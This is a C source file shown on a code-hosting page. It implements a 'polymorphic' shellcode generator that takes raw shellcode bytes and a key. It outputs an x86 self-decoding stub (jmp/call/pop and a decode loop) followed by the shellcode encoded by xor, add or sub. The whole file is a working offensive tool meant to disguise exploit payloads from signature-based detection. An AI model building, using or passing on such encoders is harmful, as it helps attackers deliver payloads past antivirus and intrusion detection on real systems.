-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathpsg.c
102 lines (94 loc) · 1.8 KB
/
psg.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
/*
"Polymorphic" shellcode generator - m0nad
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int calc(int , int, int);
void usage();
int decode_op(int);
enum OP {
SUB = 0x2c,
ADD = 0x04,
XOR = 0x34
};
int
main(int argc, char ** argv)
{
char * operation = argv[1];
unsigned int size;
unsigned short i, byte, key, op;
if (argc != 4)
usage(), exit(1);
if (!strcmp(operation, "add")) {
op = ADD;
} else if (!strcmp(operation, "sub")) {
op = SUB;
} else if (!strcmp(operation, "xor")) {
op = XOR;
} else
usage(), exit(1);
key = atoi(argv[2]);
size = strlen(argv[3]);
printf("shellcode %s 0x%.2x encoded:\n", argv[1], key);
printf("\"");
printf(
//_start:
"\\xeb\\x0d" // jmp encoded
//decoder:
"\\x5e" // pop %esi
"\\x6a\\x%.2x" // push $size
"\\x5f" // pop %edx
//decoder_loop:
"\\x83\\x%.2x\\x3e\\x%.2x" // inst $key,(%esi,%edx,1)
"\\x4f" // dec %edx
"\\x75\\xf9" // jne decoder_loop
"\\xeb\\x05" // jmp shellcode
//encoded:
"\\xe8\\xee\\xff\\xff\\xff", // call decoder
//shellcode:
size, decode_op(op), key);
for(i = 0; i < size; i++) {
byte = (argv[3][i] & 0xff);
printf("\\x%.2x", calc(op, byte, key));
}
puts("\"");
return 0;
}
void
usage()
{
printf("Polymorphic shellcode generator - m0nad\n\n");
printf("Usage:\n\t./psg <type> <key> <bytes>\n");
printf("Types:\n\txor\n\tadd\n\tsub\n");
printf("Ex:\n\t./psg xor 10 $(cat shellcode)\n");
exit(1);
}
int
calc(int operation, int op1, int op2)
{
switch (operation) {
case ADD:
return op1 + op2;
case SUB:
return op1 - op2;
case XOR:
return op1 ^ op2;
default:
return 0;
}
}
int
decode_op(int op)
{
switch (op) {
case ADD:
return SUB;
case SUB:
return ADD;
case XOR:
return XOR;
default:
return 0;
}
}